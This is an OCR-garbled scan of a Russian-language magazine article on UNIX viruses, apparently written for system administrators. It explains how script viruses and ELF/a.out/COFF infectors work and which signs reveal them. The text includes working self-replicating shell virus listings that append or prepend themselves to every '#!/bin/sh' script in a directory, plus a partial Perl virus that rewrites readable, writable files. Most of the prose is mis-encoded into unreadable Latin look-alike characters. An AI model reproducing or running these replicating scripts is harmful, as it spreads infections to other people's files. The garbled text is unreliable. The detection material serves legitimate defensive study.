cMbIcneHHyto abpakanabpy Bpoge «UsKL[aS4iJk». YunTbiBas,
4TO cpegHeMuHUMansHas anuHa Perl-BupycoB coctaenseT
nopsgka 500 6aiiT, 3aTepsTbCs B TENE XEPTBbI UM NETKO.

Tenepb paccMOTpUM MyTW BHELPEHUS BUpYyca B dan.
daiinbl KOMaHAHOrO MHTEepnpeTaTopa W Nporpammbl, Hanu-
CaHHble Ha 3blke Perl, npencrasnsaoT cobon Hemepapxmyec-
KYl0 MocnefoBaTeflbHOCTb KOMaHa, npyv He06X04MMOCTU
BK/IOYalOLWLY0 B ce65 onpefeneHns yHKUMA. 30ecb HeT
HUYero, XoTs 6bl OTAANIEHHO MNOXOXEro Ha PYHKLMI0 main f3bl-
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ka Cu nnmn 6nok BEGIN/END a3bika Mackanb. BupycHbiii kog,
TYNo JONWCaHHbIA B KOHeL hanna, ¢ BeposiTHOCTbI0 90%
YCMELHO NONy4uT ynpaeneHue u 6ynet KOPPEKTHO pabo-
Tatb. OcTaBwmecs 10% npuxopsaTca Ha cryyau npexnes-
PEMEHHOrO BbIXOAA M3 MPOorpaMmbl No exit unu ee NpuHyam-
TenbHoro 3aeeplieHus no <Ctrl-C>. [ina KonMpoBaHusi CBO-
€ro Tena u3 KoHua opHoro ¢haina B KOHeL Apyroro BUpYyChl
06bI4HO UCMONb3YIT KoMaHay «tail», Bbi3biBas ee npmonu-
3UTESNIbHO TakK:

Jiucrunr 2. $parMeHT Bupyca UNIX.Tail.a, pommchBammero ce6s
B KOHen Oaina (opurMHaNbHEE CTPOKM (aina-kepTBH BHIENEHH
CHMHUM)

#!/bin/sh
echo "Hello, World!"

for F in *
do
if ["$(head -c9 S$F 2>/dev/null)"="#!/bin/sh"
-a "$(tail -1 $F 2>/dev/null)"!="#:-P"]
then
tail -8 $0 >> $F 2>/dev/null
fi
done

Jpyrvie BUpYCbl BHEOPAOTCS B Havano daiina, nepexsa-
ThiBas BCe ynpaBneHue Ha cebs. HekoTopble U3 HWX copep-
XaT 3a6aBHyt0 OLLMOKY, MPUBOLSALLYIO K Ay6rIMPOBaHMIO CTPO-
Kn «l#/bin/xxx», nepeas 13 KOTOPbIX NPUHALNEXMT BUpPYCY, a
BTOpasi — caMoll 3apaXeHHON nporpamme. Hanu4ne gByx
Maru4ecknx nocnefoBaTeNlbHOCTEN «!#» B aHanM3npyemom
thaiine KpacHOpe4MBO CBMAETENLCTBYET O Er0 3apaxeHuu,
OfHaKo nogasnsioLlee 6OMbLUMHCTBO BUMPYCOB obpabaTbiBa-
€T 3Ty CUTYyaLMIO BMNOSIHE KOPPEKTHO, KOMMPYs CBOE TENO He
C NepBoOK, a CO BTOPOM CTPOKWU. TUNWYHLIA NPUMEP Takoro
BMpYCa NPUBEAEH HMXE:

Jincuer 3. $parMeHT Bupyca UNIX.Head.b, BHegpsmmerocs B Haua-
N0 ¢aiina (OpuTMHANBHHE CTPOKM (aiina-KepTBH BHAENEHH CHUHUM)

#!/bin/sh

for F in *
do
if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then
head -11 $0 > tmp
cat $F >> tmp
mv tmp $F
fi
done

echo "Hello, World!"

HekoTopble, BeCbMa HEMHOMOYMUCIIEHHbIE BUPYCbI BHE-
APSIOTCS B CepeamHy haina, Horga nepemeLumBasch ¢ ero
OpUrMHanbHLIM COQEPXUMbIM. ECTECTBEHHO, ANS TOrO YTO-
6bl Npouecc penpoayuMpoBaHnsa He NPeKpaTusncs, BUpycC
LOMKEH KakuM-nmbo o6pa3oM nomedaTtb «CBOM» CTPOKM
(Hanpumep, cHabxaTb ux kommeHTapuem «#MY LINE») nnéo
Xe BHEOPATLCSH B (OMKCMPOBAHHbIE CTPOKM (Hanpumep, Ha-
YMHas C TPUHAQLATOM CTPOKM, Kaxgas HeyYeTHas cTpoka
thanna cogepxut Teno supyca). Nepebii anroput™ CAuLL-
KOM HarnsgeH, BTOPOA — CIIMLLKOM HEXU3HECNOCOBEH (HacTb
BMpYCa MOXET MonacTb B 0fHY (PYHKLMIO, @ 4acTb — COBCEM
B ApYryto), NOSTOMY OCTaHaBNMBATLCA HAa STUX BMPYCax Mbl
He bygem.

Takum 06pa3om, Hambornee BUPYCOONACHbIMM ABNSIOTCS
Ha4aso 1 KoHew Bcskoro davna. Ux cnepyeT mayyatb ¢ 0co-
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60V TLATENBHOCTBLIO, HE 3abblBasi O TOM, YTO BUMPYC MOXET
COflepXaTb HEKOTOPOE KOMMYECTBO «OTBNEKAIOLLMX>» KOMaHA,
VUMWUTUPYIOLLIMX TY UAW UHYIO paboTy.

BcTpeyarotcs 1 BUPYCbI-CMYTHUKKM, BOOGLLE HE «aoTparu-
BaKLLMECA» [0 OPUrMHANbHLIX haisioB, HO BO MHOXECTBE
co3faloLime ux «OABOWHUKOB» B OCTallbHbIX Katanorax. [lo-
KJTOHHUKN YACTOW KOMaHOHOW CTPOKM, MPOCMaTpMBaKLLME
COLEPXMMOE OMPEKTOPUIA Hepes Is MOryT 3TOro U He 3ame-
TWUTb, T.K. KOMaHAa Is BMOSHe MOXET UMETb «ABOWHMKA», Npe-
AYCMOTPUTESNTBHO YBMpatoLLero CBoe UMs U3 cnucka otobpa-
Xaemblx hannos.

He cTouT 3a6bIBaTh M 0 TOM, 4TO CO3LATENAM BUPYCOB He
4yX[0 3NeMeHTapPHOE YyBCTBO HECNEYHOCTM, Y OTKPOBEHHBIE
HaMMeHOBaHUA npouenyp W/unu NepeMeHHbIX B CTUNE
«Infected», «Virus», «ZARAZA» — OTHIOOb HE PeaKoCTb.

WHorpa Bupycam (0co6eHHO NonUMMOpPHbLIM 1 3alumndpo-
BaHHbIM) TpebyeTcsi MOMECTUTbL YacTb MPOrPaMMHOr0 Kofa
BO BPEMEHHbIV ¢hain, NONHOCTbIO UM HAaCTUHHO NEPEAAB emMy
6pasgbl npaBneHus. Toraa B Tefle CKpUNTa NOSIBAISETCA KO-
MaHga «chmod +x», npuceamsaroLLas tainy atpubyT ucnosn-
Hfemoro. Bnpoyem, He CTOWUT oXumpaaTb, YTO aBTOp BUpyca
OKaXeTCs CTOSb JIEHWB U HavBEH, YTO He NPeAnpUMET HUKa-
KWMX YCUNWIA ANs COKPbITMA CBOMX HamepeHuit. Ckopee BCero
Ham BCTpeTuTCa YTo-TO Bpode: «chmod $attr $FileName».

Tabmma 1. CBomHast Tabmua Hambonee XapaKTEPHHX NPMBHAKOB Ha-
VUM BMpPYCa C KPaTKMMM KOMMEHTapusMy (NOAPOGHOCTM IO TEKCTY)

NPH3HAK

#!/bin/sh
"\#\!\/usr\/bin\/perl"

Tapuii
Ecim pacnionioxkena He B TEpBOi CTpoke (aiiia, CKpHNT CKOpee BCero
3apakeH, 0COOCHHO eCIH MOCieN0BaTeNbHOCT "#!" HaXOAWTCH BHYTPH
onepatopa if-then mim xe nepenaercs komanaam greep u/ui find.
HC“OJTL'ileTCﬂ JUIS OTIpEJICNIEHUS THTTa C])aﬁﬂa-)l{epTBbl M MOUCKA OTMETKH
0 3apaXCHHOCTH (fabbl HEHApPOKOM HE 3apasuTh MOBTOPHO); K
COXAJICHHIO, JI0CTATOYHBIM TMPU3HAKOM HAIMUMA BHpYCa CIYKHTh He
MOKeT, MO0 4acTO UCHOJIb3yeTCs B "YeCTHRIX" MPOrpaMMax.
50 XapakTepHbIil IPU3HAK CAMOPA3MHOYKAIOMIEHCS TPOrPaMMBI
(a 3a4eMm ellle YECTHOMY CKPHIITY 3HATh CBO MOIHBIH MyTh?).
Hcrosb3yeres JUlst Ope/iesieH s THIIa (haiiia-KepTBbI
M M3BIICUEHHS CBOETO Tela M3 (haiiia-HOCHTEIIs U3 Havasia CKpUNTa.
Hcnoub3yercst T U3BJICYCHUS CBOCIO TEJIa U3 KOHLA L’l:aﬁna-uocm'um.
Ecmn NPUMEHACTCSA K JUMHAMHYECKH CO3/1aBacMOMY (']‘lﬂﬁﬂy, C BBICOKOH
CTEINEHBIO BEPOATHOCTH CBU/IETEIILCTBYET O HAJIMYUHU BUpyCa
(TpryeM KIIIOY +X MOKET ObITh TaK WM MHAYC 3aMACKMPOBAH).
Ecin CIY/KUT I 3aHECEHHs B IMEPEMEHHYIO NPOrpaMMHOIO Koja,
<< ABIACTCA XapaKTEPHBIM TIPH3HAKOM BHpyca (M MOIMMOP(HOro B TOM
4HCIIe).

greep

find

head

tail

chmod +x

"\xAA\xBB\xCC.."
"Aj#9K1RzS"
vir, virus, virii,
infect..

XapakTepHblil PU3HAK 3al1H(POBAHHOrO BUPYCa.

XapaKTepHBIii IPH3HAK BUPYCA, XOTs MOKET OBITh H POCTO MIYTKO.
JmctuHr 4. $parMeHT Perl-sBupyca UNIX.Demo

#!/usr/bin/perl
#PerlDemo

open (File,$0) ;
@Virus=<File>;
@Virus=@Virus[0...27];
close(File) ;

foreach $FileName (<*>)
{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open(File, "$FileName");
@Temp=<File>;
close(File) ;
if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
{

if ((@Temp[0] =~ "perl") or (@Temp[l] =~ "perl"))
{

open(File, ">$FileName");

print File @Virus;

print File Q@Temp;

close (File);

CHCTEMHBILIaAMUHNCTPATOD



JInbthbl B 3aN0BEAHOM necy
3a Bcto uctoputo cywectsoBaHust UNIX 66110 npeanoxeHo
MHOXECTBO (DOPMATOB [BOMYHbLIX UCMONHAEMBIX (DalnoB.,
OfHaKO K HacTOsiLLeMY MOMEHTY B 60nee Uan MeHee ynoT-
pebnsemMoM BIAe COXPaHUINCh NNLLL TPU 3 HuX: a.out, COFF
n ELF.

®dopmart a.out (Assembler and link editor OUTput files) —
camblii NPOCTON U Hanbonee APEBHUIA U3 TPEX NepeYvncneH-
HbIX, NOSIBUBLUNIACSA elLie BO BpemeHa rocnoactesa PDP-11 n
VAX. OH COCTOMT U3 TPEX CErMEHTOB: .text (cermeHT kopa),
.data (cerMeHT nHMLManmanpoBaHHbIX AaHHbIX) U .bss (cer-
MEHT HEMHULMANN3MPOBaHHbIX AaHHbIX), ABYX Tabnuy ne-
pemMeLlaeMbix 31EMEHTOB (N0 OOHOM ANA CErMEHTOB Koaa
W [QaHHbIX), Tabnuubl CUMBOJIOB, CofepXallen agpeca ak-
CNOPTMPYEMBIX/MMNOPTMPYEMbIX (DYHKLMIA, N Tabnuubl
CTPOK, copepxallen umeHa nocnegHux. K HacTosiemy
MOMEHTY chopMart a.out CHUTAETCA yCTapeBLUMM W NpaKTyu-
4eckn He ucnonbayetca. KpaTkoe, HO BMonHe AoCTaToY-
HOEe [J19 ero OCBOEHWS PYKOBOACTBO COAEPXWUTCS B man
Free BSD. Takxe peKOMEHOYETCH M3Yy4uTb BKIOHAEMbIi
tharn a.out.h, BXogAwWMN B KOMNNEKT NOCTaBKK NOO0ro
UNIX-komnunatopa.

®opmat COFF (Common Object File Format) — npsamoi
HacnegHvk a.out — npeacTaBnseT cobou CyLECTBEHHO YCO-
BEPLUEHCTBOBaHHYIO0 M JOpaboTaHHyo BEPCUIO MOCEAHErO.
B Hem NOSIBUNIOCH MHOXECTBO HOBbIX CEKLMIA, N3MEHUIICS
chopmar 3aronoBka (M B TOM 4ucre NOSBMOCL MONe Anu-
Hbl, MO3BONAOLLEE BMPYCY BKNMHMBATLCA MEXAY 3aronos-
KOM W1 NEPBON ceKumen daina), Bce cekLmmn nosyymnm Bos-
MOXHOCTb NMPOELMPOBaTLCA MO NOHGOMY agpecy BUPTyasb-
HOW NamsTW (oS BUPYCOB, BHEAPAIOLLMXCA B HA4ano u/mam
cepeauHy aina, aTo aktyanbHo) u T. g. ®opmar COFF
wupoko pacnpoctpaHeH B mupe Windows NT (PE-chainbl
npeacTaensoT coboit cnerka mogmduumpoBarHbin COFF),
HO B coBpemeHHbIX UNIX-cuctemax oH npakTU4ecku He uc-
nonb3yeTcs, 0TAaeas faHb npefnoyteHus dropmaty ELF.

®opmart ELF (Executable and Linkable Format, xota He
UCKITIOHYEHO, YTO bopMaT cHadvana nomnyymn 61aro3ByyHoe
HasBaHue, Nofg KOTopoe NoToM nogéupanack COOTBETCTBYHO-
wasa abbpesunatypa — cpean UNIX-paspaboTynkoB Bcerga
ObIN10 MHOIO TONKMEHUCTOB) 04eHb Noxox Ha COFF n dakTu-
YECKW ABNAETCS €ro pasHOBMOHOCTLIO, CMPOEKTUPOBAHHOM
Ans obecneyvyeHns COBMECTUMOCTM € 32- U 64-pa3psagHbIMu
apxutekTypamu. B HacTosiLee BpeMsi — 3TO OCHOBHOW ¢hop-
maT ucnonHsemblx dainos B cuctemax cemencrea UNIX. He
TO 4TO6bI OH BCEX CUNbLHO YcTpauan (Ta xe FreeBSD conpo-
TUBNANach HalecTeuo AnbdoB, Kak Morna, Ho B Bepcun 3.0
6blna BbIHYyXAeHa 06bsBuTL ELF-hopmat Kak chopmar, uc-
NOMb3yeMbliA MO YMONYaHWI0, NOCKOSBbKY MOCNERHWNE BEPCUM
nonynspHoro komnunstopa GNU C gpeBHMX hopMaToB yxe
He nogaepxmeatoT), Ho ELF — 370 06LUenpu3HaHHbIN CTaH-
[apT, C KOTOPbIM NPUXOANTCS CYUTATBCS, XOTUM JIM Mbl TOFO
unu Het. Mo3TOMy B HacTosLLe cTaTbe pedb raBHbIM 06-
pasom nonget o HeM. [Ans achdheKTMBHON 60pbL6LI C BUpYCa-
MW Bbl JOMKHbI M3yynTb ELF-thopmat Bo BCEX nogpo6HOC-
Tax. BoT gBa xopowmx pyKoBOACTBa Ha 3Ty Temy: http://
www.ibiblio.org/pub/historic-linux/ftp-archives/sunsite.unc.edu/
Nov-06-1994/GCC/ELF.doc.tar.gz («Executable and Linkable
Format — Portable Format Specification») u http://www.nai.com/
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common/media/vil/pdf/mvanvoers_VB_conf%202000.pdf

(«Linux Viruses — ELF File Format»).

He cekpert, 4to y onepaumnoHHbix cuctem Windows NT u
UNIX mMHoro obuiero, n mexaHuam 3apaxeHuss ELF/COFF/
a.out harnoB ¢ BbICOTbI NTUYLETO NONETA HUYEM HE OTNNYa-
eTcs OT 3apaxeHnsa dopmaToB cemenctea NewExe. Tem He
MeHee, Npy BCEM NOBEPXHOCTHOM CXOACTBE MEXAY HUMU ECTb
N paznuyus.

CyLuecTBYET N0 MEHbLUEN MEPE TPU MPUHLMNMASIBHO pas-
NYHbIX cnocoba 3apaxeHus alinos, pacnpocTpaHseMbix B
hopmarte a.out:

B «nornoleHne» opurMHanbHoro daiina ¢ nocnenytoLlen
€ro 3anucbio B tmp v yaaneHmem nocre 3aBepLUeHms Bbl-
MOSHEHMA (MU — «pyYHan» 3arpy3ka charna-xepTebl Kak
BapuWaHT);

B paclupeHve nocnegHel cekumm daiina 1 4o3anuch CBo-
€ro Tena B ee KOoHell;

B cxatue YyacTu opuUr1HansLHoro haina v BHegpeHue ceoe-
ro Tena Ha 0CBOOOAVMBLLEECS MECTO.

Mepexopn Ha dhainbl hopmata ELF nnm COFF po6aensiet

eLle YeTbipe:

B paclumpeHre KOLOBOM CeKUmu (haitna u BHeApEHUe CBOe-
ro Tefla Ha 0CBOGOAMBLLEECS MECTO;

B caBur KOJOBOM CEKLMM BHWU3 C MOCIIEAYIOLLEN 3amnMChbio
CBOETrO Tefia B €e Hayaro;

B cospaHue cBoei COGCTBEHHON CEKLMM B HaYane, cepeam-
He Unun KoHue dhaina;

B BHeppeHne Mexay aisiom U 3aronoBKOM.

BHegpvBLwMCh B (hain, BUPYC AOMKEH NepexsaTuTb Ha
cebs ynpaBneHue, 4To 06bIYHO OCYLLECTBAAETCS CNEAYHOLLM-
MW NYTAMU:

B co3paH1eM cOGCTBEHHOIO 3aronoBKa 1 COGCTBEHHOrO Cer-
MeHTa KOAa/daHHbIX, MEPEKPbIBAIOLLErO YXe CYLLeCTBYy-
OLLINIA;

B KoppekUMel TOUKM BXoaa B 3arofioBke (haina-XepTBbl;

B BHefpeHWEM B UCMONHAEMbIN Ko dhaina-XepTBbl KOMaH-
Obl Nepexofa Ha CBOe TENO;

B mogudvkaumen Tabnuubl MMNopTa (B TEPMUHONOMUN
a.out — TabnuLbl CUMBONOB) AN NOAMEHbI (DYHKLMIA, YTO
0C06€eHHO akTyansHo ana Stealth-Bupycos.

Bcem 3TMM MaxuHaumsm (Kpome npuema ¢ «norfoLeHu-
€M») 04eHb TPYAHO OCTaTbCA HE3aMeYeHHbIMM, U hakT 3a-
paXeHWs B MoAaBnstoeM 60bLUMHCTBE Cry4YaeB yhaeTcs
onpenennTb NPOCTbIM BU3yasibHbIM NPOCMOTPOM AM3acCeM-
61epPHOro NIMCTUHra aHanuaupyemoro davina. MogpobHee 06
3TOM Mbl NMOrOBOPUM HYTOYKY MO3XeE, a Noka obpaTtuM CBoe
BHUMaHME Ha MexaHW3Mbl CUCTEMHbIX BbI3OBOB, UCMOSb3Ye-
Mbl€ BUpYCamm A1 06ecneqeHns MUHUManbHO HeobXoaMMo-
ro YPOBHS XW3HEOEATENBHOCTY.

Ona HopmanbHOro (OyHKLIMOHUPOBaHWUS BUPYCY HEO6X0-
OVMbI MO MEHbLUEN MEPe YETbIPe OCHOBHbLIX UYHKLMW Ons
paboTbl ¢ aiinamm (kak To: OTKPbITUE/3aKpbITUE/HTEHME/3a-
nucb (havina) 1 onuMoHanbHO (MYHKUMA noucka hainnos Ha
ancke/cetn. B NnpoTMBHOM cnyvae BUPYC NPOCTO HE CMOXET
peanv3oBaTtb CBOM PENPOAYKTUBHbLIE BOBMOXHOCTH, M 3TO YXe
He BMpYC nonyuutcs, a TPosHCKMIA KoHb!

1
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CyLlecTByeT N0 MEHbLUEA Mepe TpU NYTU ONS peLleHuns

3TON 3afayu:

B ycnonb3oBaTh CUCTEMHbIE (hYHKLIMM XEPTBbI (ECNW OHU Y
Hee, KOHEYHO, ecTb);

B fononHUTb TabnULy MMNOPTa XEPTBbI BCEM HEOOXOAM-
MbIM;

B ycnonb3oBath native-AP| onepauyoHHOW CUCTEMBI.

W nocnepgHee. AccembnepHble BUPYChl (& TakoBbIX cpe-
on UNIX-Bupycos nogasnsioLlee 60/bLLUMHCTBO) pasnTesb-
HO OTNMYAIOTCS OT OTKOMMUIIMPOBAHHBIX NPOrpaMm HETUNNY-
HbIM AN A3bIKOB BbICOKOrO YPOBHSA TAKOHWYHBIM, HO B TO
XE BPEMS U3NIMLLHE NPSMOSIMHENHBIM CTUNEM. OCKONbKY
yNakoBLUMKM ucnonHsemMblx annos B mupe UNIX npaktu-
YECKM HUKEM HE UCMONb3YHOTCA, BCAKAS NOCTOPOHHASA «Ha-
LUenKa» Ha MUCMOSHAEMbIN (haln C BbICOKON CTENEHbLIO Be-
POATHOCTM SBNAETCA TPOSAHCKOW KOMMOHEHTON Ui BUPYCOM.

Tenepb paccMOTpUM KaX[bl U3 BbllLeNepeyncIeHHbIX
MyHKTOB BO BCEX MOAPOBHOCTAX.

3apaxeHnue nocpejicTBOM nornowexus thaina

Bupychbl 3TOro TMna NULWYTCA NPenMYyLLECTBEHHO Ha4uHa-
OLMMK NPOrpaMMUCTaMK, eLLe He YCNEBLUMMU OCBOUTb
asbl apXMTEKTYPbl ONEPALMOHHON CUCTEMbI, HO YXe CTpe-
MALMUMUCS KOMY-TO CUNbHO HanakoCTUTb. ANIrOpuTM 3a-
paxeHus B 06LEM BUAE BbIMMAQUT Tak: BUPYC Haxogut
XEPTBY, Y6EXAETCS, YTO OHA eLLE He 3apaXeHa W 4YTo BCe
HeobXxoAMMble MpaBa Ha mMogudukaumio atoro ganna y
HEro NPUCYTCTBYIOT. 3aTEM OH CHMTbLIBAET XEPTBY B Ma-
MATb (BPEMEHHbIA (hain) 1 3anucbiBaeT cebs noBepx 3a-
paxaemoro ¢aiina. OpuruHanbHbIA hain gonucbiBaeTcs
B XBOCT BMpYyCa Kak OBEpPEN, NGO Xe NOMELLAETCA B Cer-
MEHT JaHHbIX (cM. puc. 1).

Mony4nB ynpaBneHue, BUPYC U3BNEKAET U3 CBOErO TeNa
COLEPXMMOE OPUrMHaNbHOro (haina, 3anuceiBaeT ero Bo
BPEMEHHLIN (haiin, npucsavBaeT emy aTpubyT UCMOSHAe-
MOr0 W 3anyckaeT «WU3fIeHEHHbI» (haiin Ha BLIMOMHEHNE,
MocCne 4ero yaanseT ¢ Ancka BHOBb. [TOCKONbKY NOJ06HbIE
MaHUMyAAUMM peaKo OCTalTC He3aMeYeHHbIMU, HEKOTO-
pbl€ BUPYCbl OTBAXMBAIOTCS Ha «PYy4HY0» 3arpy3Ky XepT-
Bbl C Aucka. Brnpouyem, npouenypy 0N KOPPEKTHOW 3ar-
py3kn ELF-haiina HanucaTb HENerko u elle CnoxHee ee
0TNaguTb, NOSTOMY NOSIBEHWE TakMx BMPYCOB NPEACTaB-
nseTcs JOcTaTtoyHo manosepoaTHbIM (ELF — aTo Bam He
NPoCTEeHbKMIA a.out!)

XapaKkTepHoi 4epToi NoJo6HbLIX BUPYCOB ABMSETCA KPO-
LLIEYHbIA CErMeHT Kofa, 3a KOTOPbIM CEAYET OFPOMHBINA Cer-
MEHT [aHHbIX (OBepnen), NpeacTaBnsoLWmin cobon camocTo-
ATENbHbIA UCNOMNHAEMbIR hain. MonpobynTe KOHTEKCTHBIM
nouckoM Hantu ELF/COFF/a.out 3aronoBok — B 3apaxXeHHOM
thanne ux 6ynet asa! Tonbko He MblTanTeCh Au3accemo6/m-
pOBaTb OBEPSIEN/CErMEHT fiaHHbIX, — OCMbICIIEHHOMO KoJa BCe
PaBHO HE MONy4nTCs, T.K., BO-MEPBLIX, AN 3TOro TpedyeTcs
3HaTb TOYHOE PACMOSIOXKEHME TOHKM BXOAA, @ BO-BTOPbIX, pac-
MONOXWTb XBOCT AM3accemMbmpyeMoro ¢aisa no ero 3akoH-
HbIM agpecam. K ToMy e opurmHanbHOe CoaepXmmoe dai-
na MOXET ObITb YMbILLNIEHHO 3alUM(POBAHO BUPYCOM, W TOr-
fa aunsaccembnep BepHET HeccopepXaTenbHblii Mycop, B
KOTOpOM 6ypmeT HenpocTo pasobpatbes. Bnpoyem, 3To He
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CWUNbHO 3aTpyfHsAeT aHanu3. Ko Bupyca Haepag nv 6ynet
04eHb 60NMbLUXM, U HA BOCCTAHOBNEHME anroputMa wndpo-
BaHUA (ecnn TOT OeWCTBUTENIbHO UMEET MecTo) He ynpaet
MHOIO BpPEMEHW.

Xy>e, ecnv BUPYC NEPEHOCUT HacTb OPUIMHANBLHOrO dhaii-
na B CErMEHT AidHHbIX, a YacTb — B CErMeHT koda. Takon dpain
BbIMMAAMT KaK 0ObIKHOBEHHAs NporpaMmMa 3a TeM eNHCTBEH-
HbIM UCKIOYEeHMeM, Y4TO 6onbLLas YacTb KOQOBOrO CermMeHTa
NPEeACTaBnseT coO0M «MepPTBbIA KOfA», HAKOrAA He MosyYato-
Wi ynpaeneHus. CermeHT faHHbIX Ha NepBbIi B3rsg BbIr-
NAQUT Kak 6yaTo 6bl HOPMarbHO, OQHAKO MPU BHUMATESTbHOM
PacCMOTPeHUN OBHApPYXMBAETCSH, YTO BCE MEPEKPECTHLIE
CCbINKK (HanpuMep, CCbIKN Ha TEKCTOBbIE CTPOKW) CMeLLe-
Hbl OTHOCUTESIBHO MX «POAHbIX» afpecoB. Kak HeTpyaHoO [o-
rafatbCsl — BeNMYMHa CMeLLeHuUst U NpeacTaenseT cobor anm-
Hy BuMpyca.

lnzaccembnmMpoBaHne BbISIBNSIET XapaKTEPHblE ANs BU-
pycoB aToro tTmna gyHkumm exec u fork, ncnonbaytowmecs
LN 3anycka «BblfiedeHHoro» ganna, yHkumio chmod ans
MPUCBOEHMA hanny aTpubyTa UCMNOMHAEMOro U T. .

ELF-3aroacBok

TOHKd
BX0AQ

KOA v AAHHBIE |
NP Orpammbl

OPUIHHAABHBIN
F-3CroA0BOK

TOHKC
BX0AC

KOA 1 AAHHBIE |
nporpammbl

PucyHok 1. TumoBasi cxeMa BapaxeHusl MCIONHseMOTo (aitna myTem
ero NoIJIOWEeHus:

0BO10300 00014000 byte 0802 publ DATA Y FFFF FFFF 0002 FFFF FFFF

_.data

PucysHox 2. IlpuMep o¢astma, mnormnomeHHoro BupycoM UNIX.a.out.
KpoxoTHmNZ, BCero B TpucTa 6aiT, pasMep KOJOBOJ CEKUMM yKa-
BHBaeT Ha BHCOKYH BEPOSITHOCTB BapaXeHus

3apaxeHnue nocpeCTBOM pacLIMpeHns

nocnefHen cexuuu thaina

MpocTenwnn cnocod HepaspyLLalLero 3apaxeHus gaw-
na CcoCTOWUT B pacLUMpeHuu NocnegHen cekuum/cermeHTa
XEPTBbI M [O3ANUCK CBOEro Tena B ee KoHel (fanee no
TEKCTY NPOCTO «CEKLMU», XOTS NpUMeHuTENbHO K ELF-thai-
nam 370 6yAEeT HECKONbKO HEKOPPEKTHO, T.K. CUCTEMHbIN
3arpysuyuk ncnonHsemolix ELF-chainnos pabotaeT UCKOUK-
TENbHO C CErMeHTamMu, a cekumu urHopmpyet). CTporo ro-
BOpS, 9TO YTBEPXAEHME HE COBCEM BepHoO. lNocnenHew
cekuuen hanna, Kak npaBuno, fBNAeTCs cekumsa .bss,
npefHa3Ha4YeHHas Ons XpPaHEHWS HEUHULMANN3UPOBaHHbIX
AaHHbIX. BHeppATbca clofa MOXHO, HO 6ECCMBbICIIEHHO,

CHCTEMHEBIAAMUHUCTPATOP



MOCKOJIbKY 3arpy3yvk He HacTONbKO rnyn, 4To6bl TPaTUTb
JparoueHHoe NPOLEeCCOPHOE BPEMA Ha 3arpy3ky HeuHwu-
LManmM3npoBaHHbIX AaHHbIX C MeANEHHOro ancka. MNMpasuib-
Hee 6blN0 6bl CKa3aTb «MnocneaHen 3Ha4MMon CeKLmMm», HO
faBaliTe He 6ygeM NpuampaTses, 3T0 BEAb He Hay4Has cTa-
Tbs, BEPHO?

MNepepq cekumi .bss 06bI4HO pacnonaraeTcs cekums .data,
cofepxallas UHULManM3NpoBaHHble faHHble. BOT oHa-To u
CTaHOBUTCS OCHOBHbIM OOBLEKTOM BMpYCHOM aTaku! Hatpa-
BMB An3accembriep Ha uccnegyembl hain, nocMoTpuTe, B
KaKoW cekLmMu pacnonoxeHa To4ka Bxoga. M ecnum 3Ton cek-
LMel OKaXeTCst CEKLMS AaHHbIX (KaK, Hanpumep, B crnydae,
N306paxeHHOM B NUCTUHre 5), uccnepyemoli pann ¢ Bbl-
COKOWN CTENEHbIO BEPOSTHOCTM 3apaXKeH BUPYCOM.

INpu BHegpeHum B a.out-chainsn Bupyc B 0bLLEeM cryyae Lon-
XEH npopgenatb chnefyowme OeicTBuS:

B cuuTaB 3aronoBok chaina, y6eanTbes, YTO 3TO AEUCTBM-

TenbHO a.out-hainn;

B yeennunTb none a_data Ha BenMYMHY, paBHYyO pasmepy

CBOEro Tena;

B ckonupoBaTb cebs B KoHeL daiina;
B ckoppeKTMpoBaTb COAEPXMMOE Monst a_entry ans nepe-

XBaTa ynpaeneHusi (eCnu BUPYC AEACTBUTESNIbHO Nepexaa-

TbIBaeT ynpaBfieHne TakuMm 06pasom).

BHepgpeHve B ELF-thainbl nponcxoanT Heckonbko 6onee
CNOXHbIM 06pa3oMm:

B BypycC OTKPbIBAET (haln 1, CHUTBLIBAS €r0 3aroNoBOK, YOEX-
JaeTcs, 4YTo aTo gencteutensHo ELF;

B npocmaTpuBasi Program Header Table, Bupyc oTbickuBa-
€T CEerMeHT, Haubornee NOAXOAALLMIA ANs 3apaXeHus (ons
3apaxeHus nogxoguT no6on cermMeHT ¢ aTpubyToM
PL_LOAD; co6cTBEHHO FOBOpS, OCTaNlbHble CErMeHTbI
60onee U MeHee NOOXOQSAT TOXE, HO BUPYCHbIVA KOL B HUX
6yOeT CMOTPETLCA HECKOSIBKO CTPAHHO);

B HalgeHHbIN CerMeHT «pacnaxmeaeTtcs» A0 KoHua dhaina
W YBENUYMBAETCS Ha BESMYMHY, PaBHYIO pasmepy Tena
BUPYCA, YTO OCYLLIECTBIINETCA NMYTEM CUHXPOHHOW KOPPEK-
umu nonen p_filez n p_memsz;

B Bypyc ponucbiBaeT cebsi B KOHEL, 3apaxaemoro ghaina;

B s nepexeata ynpaBfieHUsi BUPYC KOPPEKTUPYET TOYKY
BXxofda B (havin (e_entry), nubo Xxe BHEOPSET B UCTUHHYIO
TOYKY BXOZa jmp Ha CBOE TeNo (BMpOYeM, METOAMKa ne-
pexaaTta ynpaefieHus TeMa OTAeSIbHOro 60MbLIOro pasro-
BOpa).

ManeHbkoe TexHu4yeckoe 3ame4vaHue. CekUna AaHHBbIX,
KaK npaBuSio, UMEET BCEro Nullb ABa atpubyTa: aTpuéyT
yteHus (Read) n aTpubyt 3anucu (Write). ATpubyT ncnon-
Henusa (Execute) y Hee no ymonyaHuto otcytcTByeT. O3Ha-
4aeT NK 3TO, YTO BbINOSIHEHWE BUPYCHOMO Kofa B Hell oka-
XeTcs HeBO3MOXHbIM? Bonpoc He MMeeT OfHO3HAYHOro
oTBeTa. Bce 3aBMCUT OT 0COGEHHOCTEW peanu3aunn KOHK-
PETHOro npoLeccopa M KOHKPETHOW onepaunoHHON cucTe-
Mbl. HEKOTOpPbIE U3 HMX UTHOPUPYIOT OTCYTCTBME aTpubyTa
MCMONHeHWs, nonaras, 4To NpaBo UCMONHEHMs Koda Hanps-
MYIO BbITEKAeT M3 npaBa YTeHus. [pyrue xe Bo3dyxgatT
UCKJTIOYEHME, aBapuiiHO 3aBepLLas BbINOMHEHUE 3apaKeH-
HOW nporpammbl. [na obxoda 3Ton cuTyauum BUpYyCbl MO-
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ryT npucBamBaTtb CEKLUUM AaHHbIX aTpnbyT Execute, Bbiaa-
Bas TeEM caMbIM Cebs C rofloBOW, BNPOYEM, TaKne 3KIEMI-
